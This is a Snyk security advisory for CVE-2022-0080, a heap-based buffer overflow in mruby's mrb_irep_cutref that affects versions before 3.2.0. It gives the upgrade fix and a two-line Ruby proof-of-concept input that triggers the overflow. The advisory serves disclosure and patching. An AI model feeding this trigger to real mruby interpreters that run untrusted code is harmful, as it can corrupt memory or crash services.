Heap-based Buffer Overflow Affecting mruby/mruby package, versions [,3.2.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.25% (66th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-MRUBYMRUBY-5498628
  • published8 May 2023
  • disclosed8 May 2023
  • credit@wiz123

Introduced: 8 May 2023

CVE-2022-0080  (opens in a new tab)
CWE-122  (opens in a new tab)

How to fix?

Upgrade mruby/mruby to version 3.2.0 or higher.

Overview

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in mrb_irep_cutref.

PoC

( *a = () )
a.<<.take_while{ a.drop_while {Enumerable ; a<<lambda {}}}

References

CVSS Scores

version 3.1